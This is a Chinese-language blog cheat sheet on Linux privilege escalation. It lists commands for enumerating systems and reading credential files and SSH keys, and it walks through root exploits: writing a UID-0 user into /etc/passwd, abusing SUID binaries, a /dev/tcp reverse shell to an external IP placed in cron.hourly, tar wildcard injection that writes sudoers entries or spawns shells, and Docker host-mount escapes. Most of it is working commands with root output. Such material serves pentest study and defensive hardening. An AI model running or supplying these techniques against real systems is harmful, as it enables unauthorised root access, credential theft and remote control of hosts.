这些天更新了不少文章,也无心再写前言,那么让我们开始
linux提权信息收集 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
内核,操作系统,设备信息 1 2 3 4 5 6 7 8 9 10 11 12 uname -a 打印所有可用的系统信息 uname -r 内核版本 uname -n 系统主机名。 uname -m 查看系统内核架构(64位/32位) hostname 系统主机名 cat /proc/version 内核信息 cat /etc/*-release 分发信息 cat /etc/issue 分发信息 cat /proc/cpuinfo CPU信息 cat /etc/lsb-release # Debian cat /etc/redhat-release # Redhat ls /boot | grep vmlinuz-
用户群组 1 2 3 4 5 6 7 8 9 10 11 cat /etc/passwd 列出系统上的所有用户 cat /var/mail/root cat /var/spool/mail/root cat /etc/group 列出系统上的所有组 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户 whoami 查看当前用户 w 谁目前已登录,他们正在做什么 last 最后登录用户的列表 lastlog 所有用户上次登录的信息 lastlog –u %username% 有关指定用户上次登录的信息 lastlog |grep -v "Never" 以前登录用户的完
权限 1 2 3 4 whoami 当前用户名 id 当前用户信息 cat /etc/sudoers 谁被允许以root身份执行 sudo -l 当前用户可以以root身份执行操作
环境信息 1 2 3 4 5 6 7 8 9 10 11 env 显示环境变量 set 现实环境变量 echo %PATH 路径信息 history 显示当前用户的历史命令记录 pwd 输出工作目录 cat /etc/profile 显示默认系统变量 cat /etc/shells 显示可用的shellrc cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout
进程与服务 1 2 3 4 5 6 7 ps aux ps -ef top cat /etc/services #root 进程 ps aux | grep root ps -ef | grep root
查看安装软件 1 2 3 4 ls -alh /usr/bin/ ls -alh /sbin/ ls -alh /var/cache/yum/ dpkg -l
查看计划任务 1 2 3 4 5 6 7 8 9 10 11 12 crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
明文存放用户密码 1 2 3 4 grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find , -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
存在ssh密钥 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
查看与当前机器通信的其他用户或者主机 1 2 3 4 5 6 7 8 9 10 lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w
日志文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 cat /var/log/boot.log cat /var/log/cron cat /var/log/syslog cat /var/log/wtmp cat /var/run/utmp cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
可提权SUID && GUID 1 2 3 4 5 6 find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUIDfor i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
查看可写/执行目录 1 2 3 4 5 6 7 find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders
安装过的工具 1 2 3 4 find / -name perl* find / -name python* find / -name gcc* ...
Sudo 版本安装
wget链接
提权查询网站
反弹shell
https://www.hackingarticles.in/privilege-escalation-cheatsheet-vulnhub/ ALL
linux提权基础 /etc/passwd 在etc目录中,我们将得到三个最重要的文件,即passwd 、group 和shadow 。
etc/passwd:它是一个可读的文本文件,存储用户帐户的信息
etc/group:也是一个可读的文本文件,它存储组信息以及用户所属的组,可以通过该文件识别。
etc/shadow:它是一个包含加密密码的文件。
/passwd: 文件中的详细信息格式
Username: 第一个字段表示用于登录用户的名称
Encrypted password: x表示加密密码,实际存储在/shadow文件中。如果用户没有密码,则密码字段将用*(星号)表示
User Id (UID): 必须为每个用户分配一个用户ID(UID)。Uid 0(零)为root用户保留,UID 1-99为进一步的预定义帐户保留,UID 100-999为管理目的由系统保留。UID 1000几乎是第一个非系统用户,通常是管理员。如果我们在Ubuntu系统上创建一个新用户,它将被赋予UID 1001
Group Id (GID): 表示每个用户的组;与UID一样,前100个GID通常保留以供系统使用。GID为0与root组相关,GID为1000通常表示用户。新组通常分配GID从1000开始
Home Directory: 表示用户主目录的路径,其中存储用户的所有文件和程序。如果没有指定的目录,则/将成为用户的目录
Shell: 它表示(由用户)执行命令并显示结果的默认shell的完整路径
注意: 每个字段用(冒号) 分隔
一般来说/etc/passwd root可读写 普通用户仅可读 有时权限配置不当导致普通用户可写即可完成提权
1 test233:*:1002:1003:,,,:/home/test233:/bin/bash #将用户添加入文件中
在上文中我们也为用户分配了GID 1003 因此我们也需要修改/etc/group文件进行处理
username:x:gid
因为没有密码在 X 处使用 *
1 2 3 4 test233:*:1003: passwd test233 #使用命令为新用户设置密码 test233:$6$1pgiiT8cTCe33hEk$Bb6J5bHq5/jnmsGVeXB7X3a4a0EXdwukHBQ4ydOAPLYLYb049zytIHhKIoy/Dm5XzGgfdrDw21UL$Dw21ULwu0SOJbvC/:1002:1003:,,,:/home/test233:/bin/bash
由于我们在不使用adduser命令的情况下手动创建了一个新用户,因此在/etc/shadow文件中找不到任何有关信息。但是它在/etc/passwd文件中,此处*符号已被加密密码值替换。通过这种方式,我们可以创建自己的用户以进行权限提升。
OpenSSL 有时无法执行passwd命令来设置用户的密码; 在这种情况下,我们可以使用OpenSSL命令,它将使用salt生成加密密码。
OpenSSL passwd 将使用salt字符串和基于MD5的BSD密码算法1计算指定密码的哈希值
1 2 3 4 5 6 7 8 openssl passwd -1 -salt test233 test233 test233:$1$test233$Bo1eLjWv5SQpWrAQPRG7z1:0:0:,,,:root/root:/bin/bash test@hecs:~/exp$ su test233 Password: root@hecs:/home/test/exp# whoami root root@hecs:/home/test/exp# exit test@hecs:~/exp$
mkpasswd mkpasswd类似于openssl passwd,它将生成指定密码字符串的哈希值。
1 mkpasswd -m SHA-512 pass
Python 1 python -c 'import crypt; print crypt.crypt("pass", "$6$salt")'
Perl 1 perl -le 'print crypt("pass123", "abc")'
PHP 1 php -r "print(crypt('aarti','123') . \"\n\");"
ruby 1 ruby -r ‘digest’ -e ‘puts “pass”.crypt(“$6$salt”)’
SUID SUID: 设置用户ID是一种权限,允许用户以指定用户的权限执行文件。那些具有suid权限的文件以更高的权限运行。假设我们以非 root 用户身份访问目标系统,并且发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以使用 root 权限运行。
可以使用“数字”方法或“符号”方法更改任何文件的权限。结果,它将替换 s 中的 x, 如下图所示,这表示对特定文件/命令具有更高权限的特殊执行权限。由于我们为所有者(用户)启用 SUID,因此将在读/写/执行操作之前添加位 4 或符号 s
1 chmod 4755 {file} or chmod u+s {file}
使用文件名执行ls -al ,然后观察到“s”符号,则表示该文件已启用 SUID 位,并且可以使用 root 权限执行。
find / -perm -u=s -type f 2>/dev/null
枚举具有 SUID 权限的所有二进制文件
1 2 3 4 5 6 7 8 /表示从文件系统的顶部(根)开始查找每个目录 -perm 表示搜索后面的权限 -u=s表示查找 root 用户拥有的文件 -type表示我们要查找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示进程的第二个文件描述符,即stderr(标准错误) >表示重定向 /dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
在 Linux 中,如果启用了 SUID 位,非 root 用户可以使用一些现有的二进制文件和命令来升级 root 访问权限。有一些常用可执行命令可以允许权限升级:Bash、Cat、cp、echo、find、Less、More、Nano、Nmap、Vim 等
1 2 id 清楚我们的老员工 uid=1000(test) gid=1000(test) groups=1000(test)
cp https://www.hackingarticles.in/linux-for-pentester-cp-privilege-escalation/
1 2 ls -al /bin/cp #-rwxr-xr-x 1 root root /bin/cp chmod u+s /bin/cp #-rwsr-xr-x 1 root root /bin/cp
1.覆盖passwd
1 2 3 4 5 6 7 8 9 cp /etc/passwd /home/test test@:~$ ls exp passwd 使用上文的 test233:$1$test233$Bo1eLjWv5SQpWrAQPRG7z1:0:0:,,,:root/root:/bin/bash 加入root用户 此时passwd文件可读 复制下来并且将新用户添加其中 cp passwd /etc/passwd test@:~$ su test233 Password: root@:/home/test#
2.反弹shell
1 2 3 4 5 6 7 8 9 #!/bin/bash sh -i >& /dev/tcp/124.220.72.154/3307 0>&1 Linux crontab实用程序每小时、每天、每周和每月运行文件,所以将getshell复制到/etc/cron.hourly,这样它将在一小时后运行 ls -al /etc/cron.hourly/ total 16 drwxr-xr-x 2 root root 4096 Jul 30 16:48 . drwxr-xr-x 90 root root 4096 Jul 30 16:33 .. -rw-r--r-- 1 root test 55 Jul 30 16:48 getshell -rw-r--r-- 1 root root 102 Jun 24 2019 .placeholder
每小时17分,它就以 root 权限提供了目标系统的反向连接 当然记得添加可执行权限
1 2 3 4 5 6 7 8 nc -lvp 3307 listening on [any] 3307 ... Warning: forward host lookup failed for ecs-123-249-78-254.compute.hwclouds-dns.com: Unknown host connect to [10.0.28.4] from ecs-123-249-78-254.compute.hwclouds-dns.com [123.249.78.254] 38878 sh: 0: can't access tty; job control turned off # whoami root #
Find 1 2 find getshell -exec "whoami" \; root
vim/nano 1、在/etc/sudoers 添加 user ALL=(ALL:ALL) ALL
sudo bash
即可
2、 如上文利用/etc/passwd 增加root新用户
3、从 /etc/shadow 文件中窃取密码
1 $6$TMsyLulXpByO14xC$xJ89X.JsqGavfEYeGIFxaoyGdeRIAuyjTYzEtM5CNQU/2LdI$U/2LdILuBrz5RLEu4nu1vIdRprpEpe8ovYeQcxaHsLz0
使用 John the ripper 对其进行解码
SUDO 滥用 sudo滥用本质上和SUID差不多 都是拥有root权限的命令 通过恶意构造返回rootshell
请严格划分sudo权限
1 user ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat
Capability 如上 本质上和SUID仍然差不多 ,不过可以通过多种操作来提高Linux系统的安全性。其中一项措施称为 Linux 功能 ,由内核维护。换句话说,我们可以说它们有点难以理解,但原理上与SUID类似。Linux 的线程权限检查是基于能力的。root权限的命令可以设置给具体用户。
1 setcap cap_setuid+ep /home/demo/python3
查看当前用户有特殊权限使用以下语句递归查找
Crontab 通配符 通配符是一种特殊语句,主要有型号(*)和问号(?),用来对字符串进行模糊匹配(比如文件名,参数名)。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。
终端里面输入的通配符是由Shell处理的,不是由所涉及到命令语句处理的,它只会出现在命令的“参数值”里(它不用在命令名称里,命令不记得,那就用Tab补全)。当Shell在“参数值”中遇到了通配符时,Shell会将其当作路径或文件名去在磁盘上搜寻可能的匹配:若符合要求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符传递给“命令”,然后再由命令进行处理。总之,通配符实际上就是一种Shell实现的路径扩展功能。在通配符被处理后,Shell会先完成该命令的重组,然后再继续处理重组后的命令,直至执行该命令。
部分通配符:
? 代表任意单个字符
[ ] 代表“[”和“]”之间的某一个字符,比如[0-9]可以代表0-9之间的任意一个数字,[a-zA-Z]可以代表a-z和A-Z之间的任意一个字母,字母区分大小写。
– 代表一个字符。
~ 用户的根目录。
首先我们都知道 指令是有参数的
1 2 3 4 cat --help Usage: cat [OPTION]... [FILE]... Concatenate FILE(s) to standard output. With no FILE, or when FILE is -, read standard input.
而正常使用的时候 cat <file>
如果我们把文件名改为 –help 会发生什么呢
1 2 3 4 5 6 7 echo ' ' > --help test@hecs-235922:~/test1024$ ls --help cat * Usage: cat [OPTION]... [FILE]... Concatenate FILE(s) to standard output. With no FILE, or when FILE is -, read standard input.
按照命令 是 cat
目录中的所有文件 此时目录中只有一个文件 --help
此时的命令就变成了 cat --help
–help文件中的内容却无法读取,而是从自己的库中调用了自己的–help选项输出,这种技巧被称之为Wildcard wildness(通配符在野)
Tar 通配符注入 由于在crontab中tar是以root权限运行的,所以返回的shell都为root
ar命令有两个参数 –checkpoint –checkpoint-action
–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)
–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
这里的‘–checkpoint-action’选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令
首先创建 定时任务 nano /etc/crontab
1 */1 * * * * root cd /home/test/1024 && tar cf test.tar *
SUID 1 2 3 4 5 6 echo "chmod u+s /usr/bin/find" > test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1 find shell.sh -exec "whoami" \; root
Sudoers 1 2 3 4 5 6 7 echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint= 1 sudo -l sudo bash -p whoami
反弹shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 把上文反弹shell的脚本拿过来 echo "" > "--checkpoint-action=exec=sh shell.sh" echo "" > --checkpoint=1 nc -lvp 3307 listening on [any] 3307 ... Warning: forward host lookup failed for ecs-123-249-78-254.compute.hwclouds-dns.com: Unknown host connect to [10.0.28.4] from ecs-123-249-78-254.compute.hwclouds-dns.com [123.249.78.254] 45268 sh: cannot set terminal process group (32666): Inappropriate ioctl for device sh: no job control in this shell sh-5.0# sh-5.0# whoami whoami root
Docker 提权 通过目录挂载 进入容器后默认root 有权限查看修改 passwd shadow sudoers 懂得都懂
1 docker run -it -v /etc:/etc ubuntu
一键提权
1 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease